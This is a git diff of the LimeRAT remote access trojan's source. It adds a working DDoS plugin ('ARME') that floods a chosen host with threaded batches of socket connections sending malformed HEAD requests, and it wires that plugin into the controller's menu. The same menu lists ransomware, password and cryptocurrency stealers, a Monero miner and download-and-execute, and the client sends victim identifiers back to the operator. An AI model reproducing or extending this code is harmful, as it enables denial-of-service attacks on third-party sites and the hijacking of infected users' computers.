diff --git a/.vs/LimeRAT/v15/.suo b/.vs/LimeRAT/v15/.suo
index 72b9f2f..5e30dcd 100644
Binary files a/.vs/LimeRAT/v15/.suo and b/.vs/LimeRAT/v15/.suo differ
diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide
index 7adc1b6..6cb39be 100644
Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide differ
diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm
index 0601421..663193b 100644
Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm differ
diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal
index ca0c016..c3a7c74 100644
Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal differ
diff --git a/Project/Client/C_Socket.vb b/Project/Client/C_Socket.vb
index a3f4720..9b43333 100644
--- a/Project/Client/C_Socket.vb
+++ b/Project/Client/C_Socket.vb
@@ -78,8 +78,7 @@ e: ' clear things and ReConnect
C.SendTimeout = -1
C.SendBufferSize = 9999999
C.ReceiveBufferSize = 9999999
- C.Client.SendBufferSize = 9999999
- C.Client.ReceiveBufferSize = 9999999
+
KA = 0
#If DEBUG Then
C_Settings.HOST = "127.0.0.1"
@@ -98,7 +97,7 @@ e: ' clear things and ReConnect
C.Client.Connect(C_Settings.HOST, C_Settings.PORT)
CNT = True
'Send info to server
- Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.0", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
+ Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.1", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, " ", SPL, " "))
Catch ex As Exception
Threading.Thread.CurrentThread.Sleep(R.Next(5000))
diff --git a/Project/Plugins/DDOS/ARME.vb b/Project/Plugins/DDOS/ARME.vb
new file mode 100644
index 0000000..d501b2e
--- /dev/null
+++ b/Project/Plugins/DDOS/ARME.vb
@@ -0,0 +1,115 @@
+Imports System.Collections.Generic
+Imports System.Text
+Imports System.Threading
+Imports System.Net.Sockets
+Imports System.Net
+Imports System.Diagnostics
+Public Module ARME
+
+ Private ThreadsEnded = 0
+ Private PostDATA As String
+ Private HostToAttack As String
+ Private TimetoAttack As Integer
+ Private ThreadstoUse As Integer
+ Private Threads As Thread()
+ Private AttackRunning As Boolean = False
+ Private Attacks As Integer = 0
+ Public Sub StartARME(ByVal Host As String, ByVal Threadsto As Integer, ByVal Time As Integer, ByVal data As String)
+ If Not AttackRunning = True Then
+ AttackRunning = True
+ HostToAttack = Host
+ PostDATA = data
+ ThreadstoUse = Threadsto
+ TimetoAttack = Time * 60
+
+ If HostToAttack.Contains("http://") Then HostToAttack = HostToAttack.Replace("http://", String.Empty)
+ If HostToAttack.Contains("www.") Then HostToAttack = HostToAttack.Replace("www.", String.Empty)
+ If HostToAttack.Contains("/") Then HostToAttack = HostToAttack.Replace("/", String.Empty)
+
+
+ Threads = New Thread(Threadsto - 1) {}
+ STV("Flood", "ARME Attack on " & HostToAttack & " started!")
+ For i As Integer = 0 To Threadsto - 1
+ Threads(i) = New Thread(AddressOf DoWork)
+ Threads(i).IsBackground = True
+ Threads(i).Start()
+ Next
+
+ Dim Stoped As New Threading.Thread(AddressOf StopARME)
+ Stoped.Start()
+
+ Else
+ STV("Flood", "An ARME Attack is Already Running on " & HostToAttack)
+ End If
+
+ End Sub
+ Private Sub lol()
+
+ ThreadsEnded = ThreadsEnded + 1
+ If ThreadsEnded = ThreadstoUse Then
+ ThreadsEnded = 0
+ ThreadstoUse = 0
+ AttackRunning = False
+ STV("Flood", "ARME Attack on " & HostToAttack & " finished successfully. Attacks Sent: " & Attacks.ToString)
+ Attacks = 0
+ End If
+
+ End Sub
+
+ Public Sub StopARME()
+
+1:
+ If GTV("ARME|STOP") = "False" Then
+ Thread.Sleep(1000)
+ GoTo 1
+ End If
+
+ If AttackRunning = True Then
+ For i As Integer = 0 To ThreadstoUse - 1
+ Try
+ Threads(i).Abort()
+ Catch
+ End Try
+ Next
+ AttackRunning = False
+
+ STV("Flood", "ARME Attack on " & HostToAttack & " aborted successfully. Attacks Sent: " & Attacks.ToString)
+ Attacks = 0
+
+ Else
+ STV("Flood", "ARME Attack: Not Running!")
+ End If
+ End Sub
+
+ Private Sub DoWork()
+ Try
+ Dim socketArray As Socket() = New Socket(100 - 1) {}
+ Dim span As TimeSpan = TimeSpan.FromSeconds(CDbl(TimetoAttack))
+ Dim stopwatch As Stopwatch = Stopwatch.StartNew
+ Do While (stopwatch.Elapsed < span)
+ Try
+ Dim i As Integer
+ Dim Http As New WebClient()
+ For i = 0 To 100 - 1
+ socketArray(i) = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
+ socketArray(i).Connect(Dns.GetHostAddresses(HostToAttack), 80)
+ socketArray(i).Send(ASCIIEncoding.Default.GetBytes("HEAD / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & HostToAttack.ToString() & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10)))
+ Attacks = Attacks + 1
+ Next i
+ Dim j As Integer
+ For j = 0 To 100 - 1
+ socketArray(j).Close()
+ Next j
+ Continue Do
+
+
+
+ Catch
+
+ Continue Do
+ End Try
+ Loop
+ Catch : End Try
+ lol()
+ End Sub
+End Module
diff --git a/Project/Plugins/DDOS/DDOS.vbproj b/Project/Plugins/DDOS/DDOS.vbproj
index 631f534..722980e 100644
--- a/Project/Plugins/DDOS/DDOS.vbproj
+++ b/Project/Plugins/DDOS/DDOS.vbproj
@@ -58,6 +58,7 @@
+
diff --git a/Project/Plugins/DDOS/Main.vb b/Project/Plugins/DDOS/Main.vb
index 9c972af..ef5c75b 100644
--- a/Project/Plugins/DDOS/Main.vb
+++ b/Project/Plugins/DDOS/Main.vb
@@ -16,6 +16,15 @@
Case "2"
STV("Slowloris|STOP", "True")
End Select
+
+ Case "ARME"
+ Select Case A(1)
+ Case "1"
+ STV("ARME|STOP", "False")
+ ARME.StartARME(A(2), A(3), A(4), A(5))
+ Case "2"
+ STV("ARME|STOP", "True")
+ End Select
End Select
End Sub
diff --git a/Project/Plugins/ENC/Resources/DECF.exe b/Project/Plugins/ENC/Resources/DECF.exe
index a90e379..f82f4be 100644
Binary files a/Project/Plugins/ENC/Resources/DECF.exe and b/Project/Plugins/ENC/Resources/DECF.exe differ
diff --git a/Project/Server/Classes/S_GIO.vb b/Project/Server/Classes/S_GeoIP.vb
similarity index 99%
rename from Project/Server/Classes/S_GIO.vb
rename to Project/Server/Classes/S_GeoIP.vb
index 2108545..054030a 100644
--- a/Project/Server/Classes/S_GIO.vb
+++ b/Project/Server/Classes/S_GeoIP.vb
@@ -1,7 +1,7 @@
Imports System.IO
Imports System.Net
-Public Class S_GIO
+Public Class S_GeoIP
Public MS As MemoryStream
Private Shared CountryBegin As Long = 16776960
Private Shared CountryName As String() = {"LocalHost", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates", "Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia", "Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa", "Austria", "Australia", "Aruba", "Azerbaijan", "Bosnia and Herzegovina", "Barbados", "Bangladesh", "Belgium", "Burkina Faso", "Bulgaria", "Bahrain", "Burundi", "Benin", "Bermuda", "Brunei Darussalam", "Bolivia", "Brazil", "Bahamas", "Bhutan", "Bouvet Island", "Botswana", "Belarus", "Belize", "Canada", "Cocos (Keeling) Islands", "Congo, The Democratic Republic of the", "Central African Republic", "Congo", "Switzerland", "Cote D'Ivoire", "Cook Islands", "Chile", "Cameroon", "China", "Colombia", "Costa Rica", "Cuba", "Cape Verde", "Christmas Island", "Cyprus", "Czech Republic", "Germany", "Djibouti", "Denmark", "Dominica", "Dominican Republic", "Algeria", "Ecuador", "Estonia", "Egypt", "Western Sahara", "Eritrea", "Spain", "Ethiopia", "Finland", "Fiji", "Falkland Islands (Malvinas)", "Micronesia, Federated States of", "Faroe Islands", "France", "France, Metropolitan", "Gabon", "United Kingdom", "Grenada", "Georgia", "French Guiana", "Ghana", "Gibraltar", "Greenland", "Gambia", "Guinea", "Guadeloupe", "Equatorial Guinea", "Greece", "South Georgia and the South Sandwich Islands", "Guatemala", "Guam", "Guinea-Bissau", "Guyana", "Hong Kong", "Heard Island and McDonald Islands", "Honduras", "Croatia", "Haiti", "Hungary", "Indonesia", "Ireland", "Israel", "India", "British Indian Ocean Territory", "Iraq", "Iran, Islamic Republic of", "Iceland", "Italy", "Jamaica", "Jordan", "Japan", "Kenya", "Kyrgyzstan", "Cambodia", "Kiribati", "Comoros", "Saint Kitts and Nevis", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Cayman Islands", "Kazakstan", "Lao People's Democratic Republic", "Lebanon", "Saint Lucia", "Liechtenstein", "Sri Lanka", "Liberia", "Lesotho", "Lithuania", "Luxembourg", "Latvia", "Libyan Arab Jamahiriya", "Morocco", "Monaco", "Moldova, Republic of", "Madagascar", "Marshall Islands", "Macedonia, the Former Yugoslav Republic of", "Mali", "Myanmar", "Mongolia", "Macao", "Northern Mariana Islands", "Martinique", "Mauritania", "Montserrat", "Malta", "Mauritius", "Maldives", "Malawi", "Mexico", "Malaysia", "Mozambique", "Namibia", "New Caledonia", "Niger", "Norfolk Island", "Nigeria", "Nicaragua", "Netherlands", "Norway", "Nepal", "Nauru", "Niue", "New Zealand", "Oman", "Panama", "Peru", "French Polynesia", "Papua New Guinea", "Philippines", "Pakistan", "Poland", "Saint Pierre and Miquelon", "Pitcairn", "Puerto Rico", "Palestinian Territory, Occupied", "Portugal", "Palau", "Paraguay", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saudi Arabia", "Solomon Islands", "Seychelles", "Sudan", "Sweden", "Singapore", "Saint Helena", "Slovenia", "Svalbard and Jan Mayen", "Slovakia", "Sierra Leone", "San Marino", "Senegal", "Somalia", "Suriname", "Sao Tome and Principe", "El Salvador", "Syrian Arab Republic", "Swaziland", "Turks and Caicos Islands", "Chad", "French Southern Territories", "Togo", "Thailand", "Tajikistan", "Tokelau", "Turkmenistan", "Tunisia", "Tonga", "Timor-Leste", "Turkey", "Trinidad and Tobago", "Tuvalu", "Taiwan, Province of China", "Tanzania, United Republic of", "Ukraine", "Uganda", "United States Minor Outlying Islands", "United States", "Uruguay", "Uzbekistan", "Holy See (Vatican City State)", "Saint Vincent and the Grenadines", "Venezuela", "Virgin Islands, British", "Virgin Islands, U.S.", "Vietnam", "Vanuatu", "Wallis and Futuna", "Samoa", "Yemen", "Mayotte", "Yugoslavia", "South Africa", "Zambia", "Montenegro", "Zimbabwe", "Anonymous Proxy", "Satellite Provider", "Other", "Aland Islands", "Guernsey", "Isle of Man", "Jersey", "Saint Barthelemy", "Saint Martin"}
diff --git a/Project/Server/Classes/S_Settings.vb b/Project/Server/Classes/S_Settings.vb
index a5b6791..129d0e5 100644
--- a/Project/Server/Classes/S_Settings.vb
+++ b/Project/Server/Classes/S_Settings.vb
@@ -3,7 +3,7 @@
Public Shared PORT As Integer
Public Shared EncryptionKey As String
Public Shared IP As String = String.Empty
- Public Shared StubVer As String = "v0.1.8.0"
+ Public Shared StubVer As String = "v0.1.8.1"
Public Shared SPL As String = "|'L'|"
Public Shared KEY As String = "|'N'|"
diff --git a/Project/Server/Forms/About.Designer.vb b/Project/Server/Forms/About.Designer.vb
index b3bb472..f220bb6 100644
--- a/Project/Server/Forms/About.Designer.vb
+++ b/Project/Server/Forms/About.Designer.vb
@@ -55,6 +55,8 @@ Partial Class About
Me.MetroLabel27 = New MetroFramework.Controls.MetroLabel()
Me.MetroLabel28 = New MetroFramework.Controls.MetroLabel()
Me.BackgroundWorker1 = New System.ComponentModel.BackgroundWorker()
+ Me.MetroLabel29 = New MetroFramework.Controls.MetroLabel()
+ Me.MetroLabel30 = New MetroFramework.Controls.MetroLabel()
CType(Me.MetroStyleManager1, System.ComponentModel.ISupportInitialize).BeginInit()
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
Me.SuspendLayout()
@@ -140,7 +142,7 @@ Partial Class About
Me.MetroLabel7.Size = New System.Drawing.Size(61, 19)
Me.MetroLabel7.Style = MetroFramework.MetroColorStyle.Lime
Me.MetroLabel7.TabIndex = 0
- Me.MetroLabel7.Text = ": 0.1.8.0"
+ Me.MetroLabel7.Text = ": 0.1.8.1"
Me.MetroLabel7.Theme = MetroFramework.MetroThemeStyle.Dark
'
'MetroLabel8
@@ -394,11 +396,35 @@ Partial Class About
'BackgroundWorker1
'
'
+ 'MetroLabel29
+ '
+ Me.MetroLabel29.AutoSize = True
+ Me.MetroLabel29.Location = New System.Drawing.Point(194, 664)
+ Me.MetroLabel29.Name = "MetroLabel29"
+ Me.MetroLabel29.Size = New System.Drawing.Size(50, 19)
+ Me.MetroLabel29.Style = MetroFramework.MetroColorStyle.Lime
+ Me.MetroLabel29.TabIndex = 6
+ Me.MetroLabel29.Text = ": xmrig"
+ Me.MetroLabel29.Theme = MetroFramework.MetroThemeStyle.Dark
+ '
+ 'MetroLabel30
+ '
+ Me.MetroLabel30.AutoSize = True
+ Me.MetroLabel30.Location = New System.Drawing.Point(23, 664)
+ Me.MetroLabel30.Name = "MetroLabel30"
+ Me.MetroLabel30.Size = New System.Drawing.Size(43, 19)
+ Me.MetroLabel30.Style = MetroFramework.MetroColorStyle.Lime
+ Me.MetroLabel30.TabIndex = 7
+ Me.MetroLabel30.Text = "Miner"
+ Me.MetroLabel30.Theme = MetroFramework.MetroThemeStyle.Dark
+ '
'About
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(9.0!, 20.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
- Me.ClientSize = New System.Drawing.Size(800, 732)
+ Me.ClientSize = New System.Drawing.Size(800, 742)
+ Me.Controls.Add(Me.MetroLabel29)
+ Me.Controls.Add(Me.MetroLabel30)
Me.Controls.Add(Me.MetroLabel27)
Me.Controls.Add(Me.MetroLabel28)
Me.Controls.Add(Me.MetroLabel17)
@@ -473,4 +499,6 @@ Partial Class About
Friend WithEvents MetroLabel27 As MetroFramework.Controls.MetroLabel
Friend WithEvents MetroLabel28 As MetroFramework.Controls.MetroLabel
Friend WithEvents BackgroundWorker1 As System.ComponentModel.BackgroundWorker
+ Friend WithEvents MetroLabel29 As MetroFramework.Controls.MetroLabel
+ Friend WithEvents MetroLabel30 As MetroFramework.Controls.MetroLabel
End Class
diff --git a/Project/Server/Forms/Floods.Designer.vb b/Project/Server/Forms/Floods.Designer.vb
index 7f04955..89af6b5 100644
--- a/Project/Server/Forms/Floods.Designer.vb
+++ b/Project/Server/Forms/Floods.Designer.vb
@@ -118,7 +118,7 @@ Partial Class Floods
'
Me.Flood_Attack.FormattingEnabled = True
Me.Flood_Attack.ItemHeight = 23
- Me.Flood_Attack.Items.AddRange(New Object() {"Slowloris"})
+ Me.Flood_Attack.Items.AddRange(New Object() {"Slowloris", "ARME"})
Me.Flood_Attack.Location = New System.Drawing.Point(137, 132)
Me.Flood_Attack.Name = "Flood_Attack"
Me.Flood_Attack.Size = New System.Drawing.Size(156, 29)
diff --git a/Project/Server/Forms/Intro.vb b/Project/Server/Forms/Intro.vb
index c105266..09b09f5 100644
--- a/Project/Server/Forms/Intro.vb
+++ b/Project/Server/Forms/Intro.vb
@@ -14,7 +14,7 @@
End If
If Not IO.File.Exists(Application.StartupPath & "\Misc\GIO.dat") Then
- IO.File.WriteAllBytes(Application.StartupPath & "\Misc\GIO.dat", My.Resources.GIO)
+ IO.File.WriteAllBytes(Application.StartupPath & "\Misc\GeoIP.dat", My.Resources.GeoIP)
End If
If Not IO.Directory.Exists(Application.StartupPath + "\Misc" + "\Wallpaper") Then
diff --git a/Project/Server/Forms/Main.Designer.vb b/Project/Server/Forms/Main.Designer.vb
index 31b50ad..d803b8e 100644
--- a/Project/Server/Forms/Main.Designer.vb
+++ b/Project/Server/Forms/Main.Designer.vb
@@ -54,6 +54,7 @@ Partial Class Main
Me.PasswordsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
Me.CryptocurrencyStealerToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
Me.XMRMinerToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
+ Me.DDoSToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
Me.ToolStripSeparator1 = New System.Windows.Forms.ToolStripSeparator()
Me.DownloadAndExecuteToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
Me.FromDiskToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
@@ -83,8 +84,9 @@ Partial Class Main
Me.StopToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
Me.ToolStripSeparator4 = New System.Windows.Forms.ToolStripSeparator()
Me.AboutToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
- Me.TestToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
Me.Flag = New System.Windows.Forms.ImageList(Me.components)
+ Me.MetroTabPage2 = New MetroFramework.Controls.MetroTabPage()
+ Me.L2 = New System.Windows.Forms.ListBox()
Me.MetroTabPage3 = New MetroFramework.Controls.MetroTabPage()
Me.chkRename = New MetroFramework.Controls.MetroCheckBox()
Me.radioNET4 = New MetroFramework.Controls.MetroRadioButton()
@@ -118,8 +120,6 @@ Partial Class Main
Me.MetroTile1 = New MetroFramework.Controls.MetroTile()
Me._pastebin = New MetroFramework.Controls.MetroTextBox()
Me.MetroLabel4 = New MetroFramework.Controls.MetroLabel()
- Me.MetroTabPage2 = New MetroFramework.Controls.MetroTabPage()
- Me.L2 = New System.Windows.Forms.ListBox()
Me.NotifyIcon1 = New System.Windows.Forms.NotifyIcon(Me.components)
Me.BackgroundWorker1 = New System.ComponentModel.BackgroundWorker()
Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
@@ -136,6 +136,7 @@ Partial Class Main
Me.MetroTabControl1.SuspendLayout()
Me.MetroTabPage1.SuspendLayout()
Me.Main_Rightclick.SuspendLayout()
+ Me.MetroTabPage2.SuspendLayout()
Me.MetroTabPage3.SuspendLayout()
Me.MetroPanel5.SuspendLayout()
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
@@ -143,7 +144,6 @@ Partial Class Main
CType(Me._numDelay, System.ComponentModel.ISupportInitialize).BeginInit()
Me.MetroPanel3.SuspendLayout()
Me.MetroPanel2.SuspendLayout()
- Me.MetroTabPage2.SuspendLayout()
Me.MetroPanel1.SuspendLayout()
CType(Me.MetroStyleManager1, System.ComponentModel.ISupportInitialize).BeginInit()
Me.SuspendLayout()
@@ -273,15 +273,15 @@ Partial Class Main
Me.Main_Rightclick.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None
Me.Main_Rightclick.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer))
Me.Main_Rightclick.ImageScalingSize = New System.Drawing.Size(24, 24)
- Me.Main_Rightclick.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.PluginsToolStripMenuItem, Me.ToolStripSeparator1, Me.DownloadAndExecuteToolStripMenuItem, Me.MiscellaneousToolStripMenuItem, Me.BotPCOptionsToolStripMenuItem, Me.ControllerOptionsToolStripMenuItem, Me.ToolStripSeparator2, Me.NoteToolStripMenuItem, Me.ClientColorToolStripMenuItem, Me.ClientFolderToolStripMenuItem, Me.ToolStripSeparator3, Me.AutoUpdateClientsToolStripMenuItem, Me.ToolStripSeparator4, Me.AboutToolStripMenuItem, Me.TestToolStripMenuItem})
+ Me.Main_Rightclick.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.PluginsToolStripMenuItem, Me.ToolStripSeparator1, Me.DownloadAndExecuteToolStripMenuItem, Me.MiscellaneousToolStripMenuItem, Me.BotPCOptionsToolStripMenuItem, Me.ControllerOptionsToolStripMenuItem, Me.ToolStripSeparator2, Me.NoteToolStripMenuItem, Me.ClientColorToolStripMenuItem, Me.ClientFolderToolStripMenuItem, Me.ToolStripSeparator3, Me.AutoUpdateClientsToolStripMenuItem, Me.ToolStripSeparator4, Me.AboutToolStripMenuItem})
Me.Main_Rightclick.Name = "ContextMenuStrip1"
Me.Main_Rightclick.ShowImageMargin = False
- Me.Main_Rightclick.Size = New System.Drawing.Size(221, 358)
+ Me.Main_Rightclick.Size = New System.Drawing.Size(221, 361)
'
'PluginsToolStripMenuItem
'
Me.PluginsToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer))
- Me.PluginsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.RansomwareToolStripMenuItem, Me.LockScreenToolStripMenuItem, Me.FIleManagerToolStripMenuItem, Me.RemoteDesktopToolStripMenuItem, Me.DetailsToolStripMenuItem, Me.PasswordsToolStripMenuItem, Me.CryptocurrencyStealerToolStripMenuItem, Me.XMRMinerToolStripMenuItem})
+ Me.PluginsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.RansomwareToolStripMenuItem, Me.LockScreenToolStripMenuItem, Me.FIleManagerToolStripMenuItem, Me.RemoteDesktopToolStripMenuItem, Me.DetailsToolStripMenuItem, Me.PasswordsToolStripMenuItem, Me.CryptocurrencyStealerToolStripMenuItem, Me.XMRMinerToolStripMenuItem, Me.DDoSToolStripMenuItem})
Me.PluginsToolStripMenuItem.ForeColor = System.Drawing.Color.White
Me.PluginsToolStripMenuItem.Name = "PluginsToolStripMenuItem"
Me.PluginsToolStripMenuItem.Size = New System.Drawing.Size(220, 30)
@@ -386,6 +386,14 @@ Partial Class Main
Me.XMRMinerToolStripMenuItem.Size = New System.Drawing.Size(275, 30)
Me.XMRMinerToolStripMenuItem.Text = "Monero Miner"
'
+ 'DDoSToolStripMenuItem
+ '
+ Me.DDoSToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer))
+ Me.DDoSToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control
+ Me.DDoSToolStripMenuItem.Name = "DDoSToolStripMenuItem"
+ Me.DDoSToolStripMenuItem.Size = New System.Drawing.Size(275, 30)
+ Me.DDoSToolStripMenuItem.Text = "DDoS"
+ '
'ToolStripSeparator1
'
Me.ToolStripSeparator1.Name = "ToolStripSeparator1"
@@ -605,13 +613,6 @@ Partial Class Main
Me.AboutToolStripMenuItem.Size = New System.Drawing.Size(220, 30)
Me.AboutToolStripMenuItem.Text = "About"
'
- 'TestToolStripMenuItem
- '
- Me.TestToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control
- Me.TestToolStripMenuItem.Name = "TestToolStripMenuItem"
- Me.TestToolStripMenuItem.Size = New System.Drawing.Size(220, 30)
- Me.TestToolStripMenuItem.Text = "test"
- '
'Flag
'
Me.Flag.ImageStream = CType(resources.GetObject("Flag.ImageStream"), System.Windows.Forms.ImageListStreamer)
@@ -860,6 +861,35 @@ Partial Class Main
Me.Flag.Images.SetKeyName(241, "zw.png")
Me.Flag.Images.SetKeyName(242, "--.png")
'
+ 'MetroTabPage2
+ '
+ Me.MetroTabPage2.Controls.Add(Me.L2)
+ Me.MetroTabPage2.HorizontalScrollbarBarColor = True
+ Me.MetroTabPage2.Location = New System.Drawing.Point(4, 39)
+ Me.MetroTabPage2.Name = "MetroTabPage2"
+ Me.MetroTabPage2.Size = New System.Drawing.Size(1614, 504)
+ Me.MetroTabPage2.Style = MetroFramework.MetroColorStyle.Lime
+ Me.MetroTabPage2.TabIndex = 1
+ Me.MetroTabPage2.Text = "Logs"
+ Me.MetroTabPage2.Theme = MetroFramework.MetroThemeStyle.Dark
+ Me.MetroTabPage2.VerticalScrollbarBarColor = True
+ '
+ 'L2
+ '
+ Me.L2.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _
+ Or System.Windows.Forms.AnchorStyles.Left) _
+ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
+ Me.L2.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer))
+ Me.L2.BorderStyle = System.Windows.Forms.BorderStyle.None
+ Me.L2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
+ Me.L2.ForeColor = System.Drawing.Color.FromArgb(CType(CType(142, Byte), Integer), CType(CType(188, Byte), Integer), CType(CType(0, Byte), Integer))
+ Me.L2.FormattingEnabled = True
+ Me.L2.ItemHeight = 20
+ Me.L2.Location = New System.Drawing.Point(3, 23)
+ Me.L2.Name = "L2"
+ Me.L2.Size = New System.Drawing.Size(1603, 440)
+ Me.L2.TabIndex = 2
+ '
'MetroTabPage3
'
Me.MetroTabPage3.Controls.Add(Me.chkRename)
@@ -1343,35 +1373,6 @@ Partial Class Main
Me.MetroLabel4.Text = "Pastebin URL"
Me.MetroLabel4.Theme = MetroFramework.MetroThemeStyle.Dark
'
- 'MetroTabPage2
- '
- Me.MetroTabPage2.Controls.Add(Me.L2)
- Me.MetroTabPage2.HorizontalScrollbarBarColor = True
- Me.MetroTabPage2.Location = New System.Drawing.Point(4, 39)
- Me.MetroTabPage2.Name = "MetroTabPage2"
- Me.MetroTabPage2.Size = New System.Drawing.Size(1614, 504)
- Me.MetroTabPage2.Style = MetroFramework.MetroColorStyle.Lime
- Me.MetroTabPage2.TabIndex = 1
- Me.MetroTabPage2.Text = "Logs"
- Me.MetroTabPage2.Theme = MetroFramework.MetroThemeStyle.Dark
- Me.MetroTabPage2.VerticalScrollbarBarColor = True
- '
- 'L2
- '
- Me.L2.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _
- Or System.Windows.Forms.AnchorStyles.Left) _
- Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles)
- Me.L2.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer))
- Me.L2.BorderStyle = System.Windows.Forms.BorderStyle.None
- Me.L2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
- Me.L2.ForeColor = System.Drawing.Color.FromArgb(CType(CType(142, Byte), Integer), CType(CType(188, Byte), Integer), CType(CType(0, Byte), Integer))
- Me.L2.FormattingEnabled = True
- Me.L2.ItemHeight = 20
- Me.L2.Location = New System.Drawing.Point(3, 23)
- Me.L2.Name = "L2"
- Me.L2.Size = New System.Drawing.Size(1603, 440)
- Me.L2.TabIndex = 2
- '
'NotifyIcon1
'
Me.NotifyIcon1.Icon = CType(resources.GetObject("NotifyIcon1.Icon"), System.Drawing.Icon)
@@ -1503,6 +1504,7 @@ Partial Class Main
Me.MetroTabControl1.ResumeLayout(False)
Me.MetroTabPage1.ResumeLayout(False)
Me.Main_Rightclick.ResumeLayout(False)
+ Me.MetroTabPage2.ResumeLayout(False)
Me.MetroTabPage3.ResumeLayout(False)
Me.MetroTabPage3.PerformLayout()
Me.MetroPanel5.ResumeLayout(False)
@@ -1515,7 +1517,6 @@ Partial Class Main
Me.MetroPanel3.PerformLayout()
Me.MetroPanel2.ResumeLayout(False)
Me.MetroPanel2.PerformLayout()
- Me.MetroTabPage2.ResumeLayout(False)
Me.MetroPanel1.ResumeLayout(False)
Me.MetroPanel1.PerformLayout()
CType(Me.MetroStyleManager1, System.ComponentModel.ISupportInitialize).EndInit()
@@ -1633,5 +1634,5 @@ Partial Class Main
Friend WithEvents XMR As ColumnHeader
Friend WithEvents XMRMinerToolStripMenuItem As ToolStripMenuItem
Friend WithEvents MetroLabel12 As MetroFramework.Controls.MetroLabel
- Friend WithEvents TestToolStripMenuItem As ToolStripMenuItem
+ Friend WithEvents DDoSToolStripMenuItem As ToolStripMenuItem
End Class
diff --git a/Project/Server/Forms/Main.resx b/Project/Server/Forms/Main.resx
index fb86a89..fcdda3b 100644
--- a/Project/Server/Forms/Main.resx
+++ b/Project/Server/Forms/Main.resx
@@ -134,7 +134,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADo
- VAYAAk1TRnQBSQFMAgEB8wEAAdgBFwHYARcBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk
+ VAYAAk1TRnQBSQFMAgEB8wEAAfABFwHwARcBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk
